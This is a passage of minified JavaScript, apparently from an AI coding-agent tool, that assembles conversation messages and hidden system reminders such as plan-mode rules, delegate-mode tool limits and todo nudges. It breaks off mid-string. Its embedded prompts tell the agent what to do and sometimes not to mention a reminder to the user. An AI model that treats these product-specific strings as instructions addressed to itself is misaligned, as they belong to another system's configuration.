t1({content:`<${Ny1}>Caveat: The messages below were generated by the user while running local commands. DO NOT respond to these messages or otherwise consider them in your response unless the user explicitly asks you to.</${Ny1}>`,isMeta:!0})}function XHK({toolUseID:A,parentToolUseID:K,data:q}){return{type:"progress",data:q,toolUseID:A,parentToolUseID:K,uuid:WP(),timestamp:new Date().toISOString()}}function Dx6(A){return{type:"tool_result",content:fDA,is_error:!0,tool_use_id:A}}function i7(A,K){if(!A.trim()||!K.trim())return null;let q=K.replace(/[.*+?^${}()|[\]\\]/g,"\\$&"),Y=new RegExp(`<${q}(?:\\s+[^>]*)?>([\\s\\S]*?)<\\/${q}>`,"gi"),z,w=0,H=0,J=new RegExp(`<${q}(?:\\s+[^>]*?)?>`,"gi"),O=new RegExp(`<\\/${q}>`,"gi");while((z=Y.exec(A))!==null){let X=z[1],$=A.slice(H,z.index);w=0,J.lastIndex=0;while(J.exec($)!==null)w++;O.lastIndex=0;while(O.exec($)!==null)w--;if(w===0&&X)return X;H=z.index+z[0].length}return null}function N9A(A){if(A.type==="progress"||A.type==="attachment"||A.type==="system")return!0;if(typeof A.message.content==="string")return A.message.content.trim().length>0;if(A.message.content.length===0)return!1;if(A.message.content.length>1)return!0;if(A.message.content[0].type!=="text")return!0;return A.message.content[0].text.trim().length>0&&A.message.content[0].text!==wf&&A.message.content[0].text!==bf}function n2(A){let K=!1;return A.flatMap((q)=>{switch(q.type){case"assistant":return K=K||q.message.content.length>1,q.message.content.map((Y)=>{let z=K?WP():q.uuid;return{type:"assistant",timestamp:q.timestamp,message:{...q.message,content:[Y],context_management:q.message.context_management??null},isMeta:q.isMeta,requestId:q.requestId,uuid:z,error:q.error,isApiErrorMessage:q.isApiErrorMessage}});case"attachment":return[q];case"progress":return[q];case"system":return[q];case"user":{if(typeof q.message.content==="string"){let z=K?WP():q.uuid;return[{...q,uuid:z,message:{...q.message,content:[{type:"text",text:q.message.content}]}}]}K=K||q.message.content.length>1;let Y=0;return q.message.content.map((z)=>{let w=z.type==="image",H=w&&q.imagePasteIds?q.imagePasteIds[Y]:void 0;if(w)Y++;return{...t1({content:[z],toolUseResult:q.toolUseResult,mcpMeta:q.mcpMeta,isMeta:q.isMeta,isVisibleInTranscriptOnly:q.isVisibleInTranscriptOnly,timestamp:q.timestamp,imagePasteIds:H!==void 0?[H]:void 0}),uuid:K?WP():q.uuid}})}}})}function h0K(A){return A.type==="assistant"&&A.message.content.some((K)=>K.type==="tool_use")}function B0K(A){return A.type==="user"&&(Array.isArray(A.message.content)&&A.message.content[0]?.type==="tool_result"||Boolean(A.toolUseResult))}function KB6(A,K){let q=new Map;for(let H of A){if(h0K(H)){let J=H.message.content[0]?.id;if(J){if(!q.has(J))q.set(J,{toolUse:null,preHooks:[],toolResult:null,postHooks:[]});q.get(J).toolUse=H}continue}if(vPA(H)&&H.attachment.hookEvent==="PreToolUse"){let J=H.attachment.toolUseID;if(!q.has(J))q.set(J,{toolUse:null,preHooks:[],toolResult:null,postHooks:[]});q.get(J).preHooks.push(H);continue}if(H.type==="user"&&H.message.content[0]?.type==="tool_result"){let J=H.message.content[0].tool_use_id;if(!q.has(J))q.set(J,{toolUse:null,preHooks:[],toolResult:null,postHooks:[]});q.get(J).toolResult=H;continue}if(vPA(H)&&H.attachment.hookEvent==="PostToolUse"){let J=H.attachment.toolUseID;if(!q.has(J))q.set(J,{toolUse:null,preHooks:[],toolResult:null,postHooks:[]});q.get(J).postHooks.push(H);continue}}let Y=[],z=new Set;for(let H of A){if(h0K(H)){let J=H.message.content[0]?.id;if(J&&!z.has(J)){z.add(J);let O=q.get(J);if(O&&O.toolUse){if(Y.push(O.toolUse),Y.push(...O.preHooks),O.toolResult)Y.push(O.toolResult);Y.push(...O.postHooks)}}continue}if(vPA(H)&&(H.attachment.hookEvent==="PreToolUse"||H.attachment.hookEvent==="PostToolUse"))continue;if(H.type==="user"&&H.message.content[0]?.type==="tool_result")continue;if(H.type==="system"&&H.subtype==="api_error"){let J=Y.at(-1);if(J?.type==="system"&&J.subtype==="api_error")Y[Y.length-1]=H;else Y.push(H);continue}Y.push(H)}for(let H of K)Y.push(H);let w=Y.at(-1);return Y.filter((H)=>H.type!=="system"||H.subtype!=="api_error"||H===w)}function vPA(A){return A.type==="attachment"&&(A.attachment.type==="hook_blocking_error"||A.attachment.type==="hook_cancelled"||A.attachment.type==="hook_error_during_execution"||A.attachment.type==="hook_non_blocking_error"||A.attachment.type==="hook_success"||A.attachment.type==="hook_system_message"||A.attachment.type==="hook_additional_context"||A.attachment.type==="hook_stopped_continuation")}function wI7(A,K,q){return A.filter((Y)=>Y.type==="progress"&&Y.data.type==="hook_progress"&&Y.data.hookEvent===q&&Y.parentToolUseID===K).length}function HI7(A,K,q){return new Set(A.filter((z)=>vPA(z)&&z.attachment.toolUseID===K&&z.attachment.hookEvent===q).map((z)=>z.attachment.hookName)).size}function oN1(A){return Object.fromEntries(A.flatMap((K)=>K.type==="user"&&K.message.content[0]?.type==="tool_result"?[[K.message.content[0].tool_use_id,K.message.content[0].is_error??!1]]:[]))}function m0K(A,K){let q=new Map,Y=new Map;for(let O of K)if(O.type==="assistant"){let X=O.message.id,$=q.get(X);if(!$)$=new Set,q.set(X,$);for(let _ of O.message.content)if(_.type==="tool_use")$.add(_.id),Y.set(_.id,X)}let z=new Map;for(let[O,X]of Y)z.set(O,q.get(X));let w=new Map,H=new Map,J=new Map;for(let O of A){if(O.type==="progress"){let X=O.parentToolUseID,$=w.get(X);if($)$.push(O);else w.set(X,[O]);if(O.data.type==="hook_progress"){let _=O.data.hookEvent,G=H.get(X);if(!G)G=new Map,H.set(X,G);G.set(_,(G.get(_)??0)+1)}}if(vPA(O)){let X=O.attachment.toolUseID,$=O.attachment.hookEvent,_=J.get(X);if(!_)_=new Map,J.set(X,_);_.set($,(_.get($)??0)+1)}}return{siblingToolUseIDs:z,progressMessagesByToolUseID:w,inProgressHookCounts:H,resolvedHookCounts:J}}function g0K(A,K){let q=$e(A);if(!q)return new Set;return K.siblingToolUseIDs.get(q)??new Set}function F0K(A,K){let q=$e(A);if(!q)return[];return K.progressMessagesByToolUseID.get(q)??[]}function Q0K(A,K,q){let Y=q.inProgressHookCounts.get(A)?.get(K)??0,z=q.resolvedHookCounts.get(A)?.get(K)??0;return Y>z}function hQA(A){let K=oN1(A),q=XS2(A);return R0K(q,new Set(Object.keys(K)))}function XS2(A){return new Set(A.filter((K)=>K.type==="assistant"&&Array.isArray(K.message.content)&&K.message.content[0]?.type==="tool_use").map((K)=>K.message.content[0].id))}function U0K(A){let K=oN1(A);return new Set(A.filter((q)=>q.type==="assistant"&&Array.isArray(q.message.content)&&q.message.content[0]?.type==="tool_use"&&(q.message.content[0]?.id in K)&&K[q.message.content[0]?.id]===!0).map((q)=>q.message.content[0].id))}function $S2(A){let K=[],q=[];for(let Y=A.length-1;Y>=0;Y--){let z=A[Y];if(z.type==="attachment")q.unshift(z);else if((z.type==="assistant"||z.type==="user"&&Array.isArray(z.message.content)&&z.message.content[0]?.type==="tool_result")&&q.length>0)K.unshift(z,...q),q.length=0;else K.unshift(z)}return K.unshift(...q),K}function m7K(A){return A.type==="system"&&A.subtype==="local_command"}function _S2(A,K){let q=A.message.content;if(!Array.isArray(q))return A;if(!q.some((z)=>z.type==="tool_result"&&Array.isArray(z.content)&&z.content.some((w)=>{if(!lU(w))return!1;let H=w.tool_name;return H&&!K.has(H)})))return A;return{...A,message:{...A.message,content:q.map((z)=>{if(z.type!=="tool_result"||!Array.isArray(z.content))return z;let w=z.content.filter((H)=>{if(!lU(H))return!0;let J=H.tool_name;if(!J)return!0;let O=K.has(J);if(!O)h(`Filtering out tool_reference for unavailable tool: ${J}`,{level:"warn"});return O});if(w.length===0)return{...z,content:[{type:"text",text:"[Tool references removed - tools no longer available]"}]};return{...z,content:w}})}}}function qB6(A){let K=A.message.content;if(!Array.isArray(K))return A;if(!K.some((Y)=>Y.type==="tool_result"&&Array.isArray(Y.content)&&Y.content.some(lU)))return A;return{...A,message:{...A.message,content:K.map((Y)=>{if(Y.type!=="tool_result"||!Array.isArray(Y.content))return Y;let z=Y.content.filter((w)=>!lU(w));if(z.length===0)return{...Y,content:[{type:"text",text:"[Tool references removed - tool search not enabled]"}]};return{...Y,content:z}})}}}function p0K(A){if(!A.message.content.some((q)=>q.type==="tool_use"&&("caller"in q)&&q.caller!==null))return A;return{...A,message:{...A.message,content:A.message.content.map((q)=>{if(q.type!=="tool_use")return q;return{type:"tool_use",id:q.id,name:q.name,input:q.input}})}}}function q0(A,K=[]){let q=new Set(K.map((H)=>H.name)),Y=$S2(A),z=[];Y.filter((H)=>{if(H.type==="progress"||H.type==="system"||OS2(H))return!1;return!0}).forEach((H)=>{switch(H.type){case"user":{let J=H;if(!iU())J=qB6(H);else J=_S2(H,q);let O=KD(z);if(O?.type==="user"){z[z.indexOf(O)]=DS2(O,J);return}z.push(J);return}case"assistant":{let J=iU(),O={...H,message:{...H.message,content:H.message.content.map((X)=>{if(X.type==="tool_use"){let $=K.find((G)=>G.name===X.name),_=$?swK($,X.input):X.input;if(J)return{...X,input:_};return{type:"tool_use",id:X.id,name:X.name,input:_}}return X})}};for(let X=z.length-1;X>=0;X--){let $=z[X];if($.type!=="assistant"&&!WS2($))break;if($.type==="assistant"){if($.message.id===O.message.id){z[X]=ZS2($,O);return}break}}z.push(O);return}case"attachment":{let J=vS2(H.attachment),O=KD(z);if(O?.type==="user"){z[z.indexOf(O)]=J.reduce((X,$)=>GS2(X,$),O);return}z.push(...J);return}}}),O37(z);let w=kS2(z);return CS2(w)}function GS2(A,K){let q=rN1(A.message.content),Y=rN1(K.message.content);return{...A,message:{...A.message,content:d0K(jS2(q,Y))}}}function ZS2(A,K){return{...A,message:{...A.message,content:[...A.message.content,...K.message.content]}}}function WS2(A){if(A.type!=="user")return!1;let K=A.message.content;if(typeof K==="string")return!1;return K.some((q)=>q.type==="tool_result")}function DS2(A,K){let q=rN1(A.message.content),Y=rN1(K.message.content);return{...A,message:{...A.message,content:d0K([...q,...Y])}}}function d0K(A){let K=[],q=[];for(let Y of A)if(Y.type==="tool_result")K.push(Y);else q.push(Y);return[...K,...q]}function rN1(A){if(typeof A==="string")return[{type:"text",text:A}];return A}function jS2(A,K){let q=KD(A);if(q?.type==="tool_result"&&typeof q.content==="string"&&K.every((Y)=>Y.type==="text"))return[...A.slice(0,-1),{...q,content:[q.content,...K.map((Y)=>Y.text)].map((Y)=>Y.trim()).filter(Boolean).join(` `)}];return[...A,...K]}function YB6(A,K,q){if(!A)return[];return A.map((Y)=>{switch(Y.type){case"tool_use":{if(typeof Y.input!=="string"&&!aJ(Y.input))throw Error("Tool use input must be a string or object");let z=typeof Y.input==="string"?P3(Y.input)??{}:Y.input;if(typeof z==="object"&&z!==null){let w=K.find((H)=>H.name===Y.name);if(w)try{z=awK(w,z,q)}catch(H){KA(Error("Error normalizing tool input: "+H))}}return{...Y,input:z}}case"text":if(Y.text.trim().length===0)return n("tengu_empty_model_response",{}),{type:"text",text:wf};return Y;case"code_execution_tool_result":case"mcp_tool_use":case"mcp_tool_result":case"container_upload":case"server_tool_use":return Y;default:return Y}})}function YP1(A){return VDA(A).trim()===""||A.trim()===wf}function VDA(A){let K=new RegExp(`<(${MS2.join("|")})>.*?</\\1> ?`,"gs");return A.replace(K,"").trim()}function $e(A){switch(A.type){case"attachment":if(vPA(A))return A.attachment.toolUseID;return null;case"assistant":if(A.message.content[0]?.type!=="tool_use")return null;return A.message.content[0].id;case"user":if(A.sourceToolUseID)return A.sourceToolUseID;if(A.message.content[0]?.type!=="tool_result")return null;return A.message.content[0].tool_use_id;case"progress":return A.toolUseID;case"system":return A.subtype==="informational"?A.toolUseID??null:null}}function LV1(A){let K=n2(A),q=hQA(K);return K.filter((z,w)=>{if(z.type==="assistant"&&z.message.content[0]?.type==="tool_use"&&q.has(z.message.content[0].id))return!1;return!0})}function Vm(A){if(A.type!=="assistant")return null;if(Array.isArray(A.message.content))return A.message.content.filter((K)=>K.type==="text").map((K)=>K.type==="text"?K.text:"").join(` `).trim()||null;return null}function c0K(A){if(A.type!=="user")return null;let K=A.message.content;return b3A(K)}function b3A(A){if(typeof A==="string")return A;if(Array.isArray(A))return A.filter((K)=>K.type==="text").map((K)=>K.type==="text"?K.text:"").join(` `).trim()||null;return null}function of1(A,K,q,Y,z,w,H){if(A.type!=="stream_event"&&A.type!=="stream_request_start"){if(A.type==="tombstone"){w?.(A.message);return}if(A.type==="tool_use_summary")return;if(A.type==="assistant"){let J=A.message.content.find((O)=>O.type==="thinking");if(J&&J.type==="thinking")H?.(()=>({thinking:J.thinking,isStreaming:!1,streamingEndedAt:Date.now()}))}K(A);return}if(A.type==="stream_request_start"){Y("requesting");return}if(A.event.type==="message_stop"){Y("tool-use"),z(()=>[]);return}switch(A.event.type){case"content_block_start":switch(A.event.content_block.type){case"thinking":case"redacted_thinking":Y("thinking");return;case"text":Y("responding");return;case"tool_use":{Y("tool-input");let J=A.event.content_block,O=A.event.index;z((X)=>[...X,{index:O,contentBlock:J,unparsedToolInput:""}]);return}case"server_tool_use":case"web_search_tool_result":case"code_execution_tool_result":case"mcp_tool_use":case"mcp_tool_result":case"container_upload":case"web_fetch_tool_result":case"bash_code_execution_tool_result":case"text_editor_code_execution_tool_result":Y("tool-input");return}break;case"content_block_delta":switch(A.event.delta.type){case"text_delta":q(A.event.delta.text);return;case"input_json_delta":{let J=A.event.delta.partial_json,O=A.event.index;q(J),z((X)=>{let $=X.find((_)=>_.index===O);if(!$)return X;return[...X.filter((_)=>_!==$),{...$,unparsedToolInput:$.unparsedToolInput+J}]});return}case"thinking_delta":q(A.event.delta.thinking);return;case"signature_delta":q(A.event.delta.signature);return;default:return}case"content_block_stop":return;case"message_delta":Y("responding");return;default:Y("responding");return}}function Nm(A){return`<system-reminder> ${A} </system-reminder>`}function c9(A){return A.map((K)=>{if(typeof K.message.content==="string")return{...K,message:{...K.message,content:Nm(K.message.content)}};else if(Array.isArray(K.message.content)){let q=K.message.content.map((Y)=>{if(Y.type==="text")return{...Y,text:Nm(Y.text)};return Y});return{...K,message:{...K.message,content:q}}}return K})}function PS2(A){if(A.isSubAgent)return TS2(A);if(A.reminderType==="sparse")return NS2(A);return VS2(A)}function VS2(A){if(A.isSubAgent)return[];if(v_())return fS2(A);let K=I0K(),q=S0K(),z=`Plan mode is active. The user indicated that they do not want you to execute yet -- you MUST NOT make any edits (with the exception of the plan file mentioned below), run any non-readonly tools (including changing configs or making commits), or otherwise make any changes to the system. This supercedes any other instructions you have received. ## Plan File Info: ${A.planExists?`A plan file already exists at ${A.planFilePath}. You can read it and make incremental edits using the ${qj.name} tool.`:`No plan file exists yet. You should create your plan at ${A.planFilePath} using the ${Yj.name} tool.`} You should build your plan incrementally by writing to or editing this file. NOTE that this is the only file you are allowed to edit - other than this you are only allowed to take READ-ONLY actions. ## Plan Workflow ### Phase 1: Initial Understanding Goal: Gain a comprehensive understanding of the user's request by reading through code and asking them questions. Critical: In this phase you should only use the ${EC.agentType} subagent type. 1. Focus on understanding the user's request and the code associated with their request 2. **Launch up to ${q} ${EC.agentType} agents IN PARALLEL** (single message, multiple tool calls) to efficiently explore the codebase. - Use 1 agent when the task is isolated to known files, the user provided specific file paths, or you're making a small targeted change. - Use multiple agents when: the scope is uncertain, multiple areas of the codebase are involved, or you need to understand existing patterns before planning. - Quality over quantity - ${q} agents maximum, but you should try to use the minimum number of agents necessary (usually just 1) - If using multiple agents: Provide each agent with a specific search focus or area to explore. Example: One agent searches for existing implementations, another explores related components, a third investigating testing patterns ### Phase 2: Design Goal: Design an implementation approach. Launch ${rJ1.agentType} agent(s) to design the implementation based on the user's intent and your exploration results from Phase 1. You can launch up to ${K} agent(s) in parallel. **Guidelines:** - **Default**: Launch at least 1 Plan agent for most tasks - it helps validate your understanding and consider alternatives - **Skip agents**: Only for truly trivial tasks (typo fixes, single-line changes, simple renames) ${K>1?`- **Multiple agents**: Use up to ${K} agents for complex tasks that benefit from different perspectives Examples of when to use multiple agents: - The task touches multiple parts of the codebase - It's a large refactor or architectural change - There are many edge cases to consider - You'd benefit from exploring different approaches Example perspectives by task type: - New feature: simplicity vs performance vs maintainability - Bug fix: root cause vs workaround vs prevention - Refactoring: minimal change vs clean architecture `:""} In the agent prompt: - Provide comprehensive background context from Phase 1 exploration including filenames and code path traces - Describe requirements and constraints - Request a detailed implementation plan ### Phase 3: Review Goal: Review the plan(s) from Phase 2 and ensure alignment with the user's intentions. 1. Read the critical files identified by agents to deepen your understanding 2. Ensure that the plans align with the user's original request 3. Use ${bJ} to clarify any remaining questions with the user ### Phase 4: Final Plan Goal: Write your final plan to the plan file (the only file you can edit). - Include only your recommended approach, not all alternatives - Ensure that the plan file is concise enough to scan quickly, but detailed enough to execute effectively - Include the paths of critical files to be modified - Include a verification section describing how to test the changes end-to-end (run the code, use MCP tools, run tests) ### Phase 5: Call ${SW.name} At the very end of your turn, once you have asked the user questions and are happy with your final plan file - you should always call ${SW.name} to indicate to the user that you are done planning. This is critical - your turn should only end with either using the ${bJ} tool OR calling ${SW.name}. Do not stop unless it's for these 2 reasons **Important:** Use ${bJ} ONLY to clarify requirements or choose between approaches. Use ${SW.name} to request plan approval. Do NOT ask about plan approval in any other way - no text questions, no AskUserQuestion. Phrases like "Is this plan okay?", "Should I proceed?", "How does this plan look?", "Any changes before we start?", or similar MUST use ${SW.name}. NOTE: At any point in time through this workflow you should feel free to ask the user questions or clarifications using the ${bJ} tool. Don't make large assumptions about user intent. The goal is to present a well researched plan to the user, and tie any loose ends before implementation begins.`;return c9([t1({content:z,isMeta:!0})])}function fS2(A){let q=`Plan mode is active. The user indicated that they do not want you to execute yet -- you MUST NOT make any edits (with the exception of the plan file mentioned below), run any non-readonly tools (including changing configs or making commits), or otherwise make any changes to the system. This supercedes any other instructions you have received. ## Plan File Info: ${A.planExists?`A plan file already exists at ${A.planFilePath}. You can read it and make incremental edits using the ${qj.name} tool.`:`No plan file exists yet. You should create your plan at ${A.planFilePath} using the ${Yj.name} tool.`} ## Iterative Planning Workflow Your goal is to build a comprehensive plan through iterative refinement and interviewing the user. Read files, interview and ask questions, and build the plan incrementally. ### How to Work 0. Write your plan in the plan file specified above. This is the ONLY file you are allowed to edit. 1. **Explore the codebase**: Use Read, Glob, and Grep tools to understand the codebase.${` You have access to the ${EC.agentType} agent type if you want to delegate search. Use this generously for particularly complex searches or to parallelize exploration.`} 2. **Interview the user**: Use ${bJ} to interview the user and ask questions that: - Clarify ambiguous requirements - Get user input on technical decisions and tradeoffs - Understand preferences for UI/UX, performance, edge cases - Validate your understanding before committing to an approach Make sure to: - Not ask any questions that you could find out yourself by exploring the codebase. - Batch questions together when possible so you ask multiple questions at once - DO NOT ask any questions that are obvious or that you believe you know the answer to. 3. **Write to the plan file iteratively**: As you learn more, update the plan file: - Start with your initial understanding of the requirements, leave in space to fill it out. - Add sections as you explore and learn about the codebase - Refine based on user answers to your questions - The plan file is your working document - edit it as your understanding evolves 4. **Interleave exploration, questions, and writing**: Don't wait until the end to write. After each discovery or clarification, update the plan file to capture what you've learned. 5. **Adjust the level of detail to the task**: For a highly unspecified task like a new project or feature, you might need to ask many rounds of questions. Whereas for a smaller task you may need only some or a few. ### Plan File Structure Your plan file should be divided into clear sections using markdown headers, based on the request. Fill out these sections as you go. - Include only your recommended approach, not all alternatives - Ensure that the plan file is concise enough to scan quickly, but detailed enough to execute effectively - Include the paths of critical files to be modified - Include a verification section describing how to test the changes end-to-end (run the code, use MCP tools, run tests) ### Ending Your Turn Your turn should only end by either: - Using ${bJ} to gather more information - Calling ${SW.name} when the plan is ready for approval **Important:**: Use ${SW.name} to request plan approval. Do NOT ask about plan approval via text or AskUserQuestion.`;return c9([t1({content:q,isMeta:!0})])}function NS2(A){let K=v_()?"Follow iterative workflow: explore codebase, interview user, write to plan incrementally.":"Follow 5-phase workflow.",q=`Plan mode still active (see full instructions earlier in conversation). Read-only except plan file (${A.planFilePath}). ${K} End turns with ${bJ} (for clarifications) or ${SW.name} (for plan approval). Never ask about plan approval via text or AskUserQuestion.`;return c9([t1({content:q,isMeta:!0})])}function TS2(A){let q=`Plan mode is active. The user indicated that they do not want you to execute yet -- you MUST NOT make any edits, run any non-readonly tools (including changing configs or making commits), or otherwise make any changes to the system. This supercedes any other instructions you have received (for example, to make edits). Instead, you should: ## Plan File Info: ${A.planExists?`A plan file already exists at ${A.planFilePath}. You can read it and make incremental edits using the ${qj.name} tool if you need to.`:`No plan file exists yet. You should create your plan at ${A.planFilePath} using the ${Yj.name} tool if you need to.`} You should build your plan incrementally by writing to or editing this file. NOTE that this is the only file you are allowed to edit - other than this you are only allowed to take READ-ONLY actions. Answer the user's query comprehensively, using the ${bJ} tool if you need to ask the user clarifying questions. If you do use the ${bJ}, make sure to ask all clarifying questions you need to fully understand the user's intent before proceeding.`;return c9([t1({content:q,isMeta:!0})])}function vS2(A){if(b8()){if(A.type==="teammate_mailbox")return[t1({content:HS2().formatTeammateMessages(A.messages),isMeta:!0})];if(A.type==="team_context")return[t1({content:`<system-reminder> # Team Coordination You are a teammate in team "${A.teamName}". **Your Identity:** - Name: ${A.agentName} **Team Resources:** - Team config: ${A.teamConfigPath} - Task list: ${A.taskListPath} **Team Leader:** The team lead's name is "team-lead". Send updates and completion notifications to them. Read the team config to discover your teammates' names. Check the task list periodically. Create new tasks when work should be divided. Mark tasks resolved when complete. **IMPORTANT:** Always refer to teammates by their NAME (e.g., "team-lead", "analyzer", "researcher"), never by UUID. When messaging, use the name directly: \`\`\`json { "operation": "write", "target_agent_id": "team-lead", "value": "Your message here" } \`\`\` </system-reminder>`,isMeta:!0})]}switch(A.type){case"directory":return c9([RpA(o7.name,{command:`ls ${R4([A.path])}`,description:`Lists files in ${A.path}`}),LpA(o7,{stdout:A.content,stderr:"",interrupted:!1})]);case"edited_text_file":return c9([t1({content:`Note: ${A.filename} was modified, either by the user or by a linter. This change was intentional, so make sure to take it into account as you proceed (ie. don't revert it unless the user asks you to). Don't tell the user this, since they are already aware. Here are the relevant changes (shown with line numbers): ${A.snippet}`,isMeta:!0})]);case"file":{let q=A.content;switch(q.type){case"image":return c9([RpA(d9.name,{file_path:A.filename}),LpA(d9,q)]);case"text":return c9([RpA(d9.name,{file_path:A.filename}),LpA(d9,q),...A.truncated?[t1({content:`Note: The file ${A.filename} was too large and has been truncated to the first ${ACA} lines. Don't tell the user about this truncation. Use ${d9.name} to read more of the file if you need.`,isMeta:!0})]:[]]);case"notebook":return c9([RpA(d9.name,{file_path:A.filename}),LpA(d9,q)]);case"pdf":return c9([RpA(d9.name,{file_path:A.filename}),LpA(d9,q)])}break}case"compact_file_reference":return c9([t1({content:`Note: ${A.filename} was read before the last conversation was summarized, but the contents are too large to include. Use ${d9.name} tool if you need to access it.`,isMeta:!0})]);case"selected_lines_in_ide":{let Y=A.content.length>2000?A.content.substring(0,2000)+` ... (truncated)`:A.content;return c9([t1({content:`The user selected the lines ${A.lineStart} to ${A.lineEnd} from ${A.filename}: ${Y} This may or may not be related to the current task.`,isMeta:!0})])}case"opened_file_in_ide":return c9([t1({content:`The user opened the file ${A.filename} in the IDE. This may or may not be related to the current task.`,isMeta:!0})]);case"todo":if(A.itemCount===0)return c9([t1({content:`This is a reminder that your todo list is currently empty. DO NOT mention this to the user explicitly because they are already aware. If you are working on tasks that would benefit from a todo list please use the ${EQ} tool to create one. If not, please feel free to ignore. Again do not mention this message to the user.`,isMeta:!0})]);else return c9([t1({content:`Your todo list has changed. DO NOT mention this explicitly to the user. Here are the latest contents of your todo list: ${UA(A.content)}. Continue on with the tasks at hand if applicable.`,isMeta:!0})]);case"plan_file_reference":return c9([t1({content:`A plan file exists from plan mode at: ${A.planFilePath} Plan contents: ${A.planContent} If this plan is relevant to the current work and not already complete, continue working on it.`,isMeta:!0})]);case"invoked_skills":{if(A.skills.length===0)return[];let q=A.skills.map((Y)=>`### Skill: ${Y.name} Path: ${Y.path} ${Y.content}`).join(` --- `);return c9([t1({content:`The following skills were invoked in this session. Continue to follow these guidelines: ${q}`,isMeta:!0})])}case"todo_reminder":{let q=A.content.map((z,w)=>`${w+1}. [${z.status}] ${z.content}`).join(` `),Y=`The TodoWrite tool hasn't been used recently. If you're working on tasks that would benefit from tracking progress, consider using the TodoWrite tool to track progress. Also consider cleaning up the todo list if has become stale and no longer matches what you are working on. Only use it if it's relevant to the current work. This is just a gentle reminder - ignore if not applicable. Make sure that you NEVER mention this reminder to the user `;if(q.length>0)Y+=` Here are the existing contents of your todo list: [${q}]`;return c9([t1({content:Y,isMeta:!0})])}case"task_reminder":{if(!ew())return[];let q=A.content.map((z)=>`#${z.id}. [${z.status}] ${z.subject}`).join(` `),Y=`The task tools haven't been used recently. If you're working on tasks that would benefit from tracking progress, consider using ${Aa} to add new tasks and ${tU} to update task status (set to in_progress when starting, completed when done). Also consider cleaning up the task list if it has become stale. Only use these if relevant to the current work. This is just a gentle reminder - ignore if not applicable. Make sure that you NEVER mention this reminder to the user `;if(q.length>0)Y+=` Here are the existing tasks: ${q}`;return c9([t1({content:Y,isMeta:!0})])}case"nested_memory":return c9([t1({content:`Contents of ${A.content.path}: ${A.content.content}`,isMeta:!0})]);case"dynamic_skill":return[];case"skill_listing":{if(!A.content)return[];return c9([t1({content:`The following skills are available for use with the Skill tool: ${A.content}`,isMeta:!0})])}case"queued_command":{if(Array.isArray(A.prompt)){let q=A.prompt.filter((w)=>w.type==="text").map((w)=>w.text).join(` `),Y=A.prompt.filter((w)=>w.type==="image"),z=[{type:"text",text:`The user sent a new message while you were working: ${q} IMPORTANT: After completing your current task, you MUST address the user's message above. Do not ignore it.`},...Y];return c9([t1({content:z,isMeta:!0})])}return c9([t1({content:`The user sent a new message while you were working: ${A.prompt} IMPORTANT: After completing your current task, you MUST address the user's message above. Do not ignore it.`,isMeta:!0})])}case"ultramemory":return c9([t1({content:A.content,isMeta:!0})]);case"output_style":{let q=F3A[A.style];if(!q)return[];return c9([t1({content:`${q.name} output style is active. Remember to follow the specific guidelines for this style.`,isMeta:!0})])}case"diagnostics":{if(A.files.length===0)return[];let q=pI.formatDiagnosticsSummary(A.files);return c9([t1({content:`<new-diagnostics>The following new diagnostic issues were detected: ${q}</new-diagnostics>`,isMeta:!0})])}case"plan_mode":return PS2(A);case"plan_mode_reentry":{let q=`## Re-entering Plan Mode You are returning to plan mode after having previously exited it. A plan file exists at ${A.planFilePath} from your previous planning session. **Before proceeding with any new planning, you should:** 1. Read the existing plan file to understand what was previously planned 2. Evaluate the user's current request against that plan 3. Decide how to proceed: - **Different task**: If the user's request is for a different task—even if it's similar or related—start fresh by overwriting the existing plan - **Same task, continuing**: If this is explicitly a continuation or refinement of the exact same task, modify the existing plan while cleaning up outdated or irrelevant sections 4. Continue on with the plan process and most importantly you should always edit the plan file one way or the other before calling ${SW.name} Treat this as a fresh planning session. Do not assume the existing plan is relevant without evaluating it first.`;return c9([t1({content:q,isMeta:!0})])}case"plan_mode_exit":{let Y=`## Exited Plan Mode You have exited plan mode. You can now make edits, run tools, and take actions.${A.planExists?` The plan file is located at ${A.planFilePath} if you need to reference it.`:""}`;return c9([t1({content:Y,isMeta:!0})])}case"delegate_mode":{if(!b8())return[];let q=`## Delegate Mode You are in delegate mode for team "${A.teamName}". In this mode, you can ONLY use the following tools: - TeammateTool: For spawning teammates, sending messages, and team coordination - TaskCreate: For creating new tasks - TaskGet: For retrieving task details - TaskUpdate: For updating task status and adding comments - TaskList: For listing all tasks You CANNOT use any other tools (Bash, Read, Write, Edit, etc.) until you exit delegate mode. **Task list location:** ${A.taskListPath} Focus on coordinating work by creating tasks, assigning them to teammates, and monitoring progress. Use the Teammate tool to communicate with your team.`;return c9([t1({content:q,isMeta:!0})])}case"delegate_mode_exit":return c9([t1({content:`## Exited Delegate Mode You have exited delegate mode. You can now use all tools (Bash, Read, Write, Edit, etc.) and take actions directly. Continue with your tasks.`,isMeta:!0})]);case"critical_system_reminder":return c9([t1({content:A.content,isMeta:!0})]);case"mcp_resource":{let q=A.content;if(!q||!q.contents||q.contents.length===0)return c9([t1({content:`<mcp-resource server="${A.server}" uri="${A.uri}">(No content)</mcp-resource>`,isMeta:!0})]);let Y=[];for(let z of q.contents)if(z&&typeof z==="object"){if("text"in z&&typeof z.text==="string")Y.push({type:"text",text:"Full contents of resource:"},{type:"text",text:z.text},{type:"text",text:"Do NOT read this resource again unless you think it may have changed, since you already have the full contents."});else if("blob"in z){let w="mimeType"in z?String(z.mimeType):"application/octet-stream";Y.push({type:"text",text:`[Binary content: ${w}]`})}}if(Y.length>0)return c9([t1({content:Y,isMeta:!0})]);else return b6(A.server,`No displayable content found in MCP resource ${A.uri}.`),c9([t1({content:`<mcp-resource server="${A.server}" uri="${A.uri}">(No displayable content)</mcp-resource>`,isMeta:!0})])}case"agent_mention":return c9([t1({content:`The user has expressed a desire to invoke the agent "${A.agentType}". Please invoke the agent appropriately, passing in the required context to it. `,isMeta:!0})]);case"task_status":{let q=[`Task ${A.taskId}`,`(type: ${A.taskType})`,`(status: ${A.status})`,`(description: ${A.description})`];if(A.deltaSummary)q.push(`Delta: ${A.deltaSummary}`);return q.push("You can check its output using the TaskOutput tool."),[t1({content:Nm(q.join(" ")),isMeta:!0})]}case"task_progress":return[t1({content:Nm(A.message),isMeta:!0})];case"async_hook_response":{let q=A.response,Y=[];if(q.systemMessage)Y.push(t1({content:q.systemMessage,isMeta:!0}));if(q.hookSpecificOutput&&"additionalContext"in q.hookSpecificOutput&&q.hookSpecificOutput.additionalContext)Y.push(t1({content:q.hookSpecificOutput.additionalContext,isMeta:!0}));return c9(Y)}case"token_usage":return[t1({content:Nm(`Token usage: 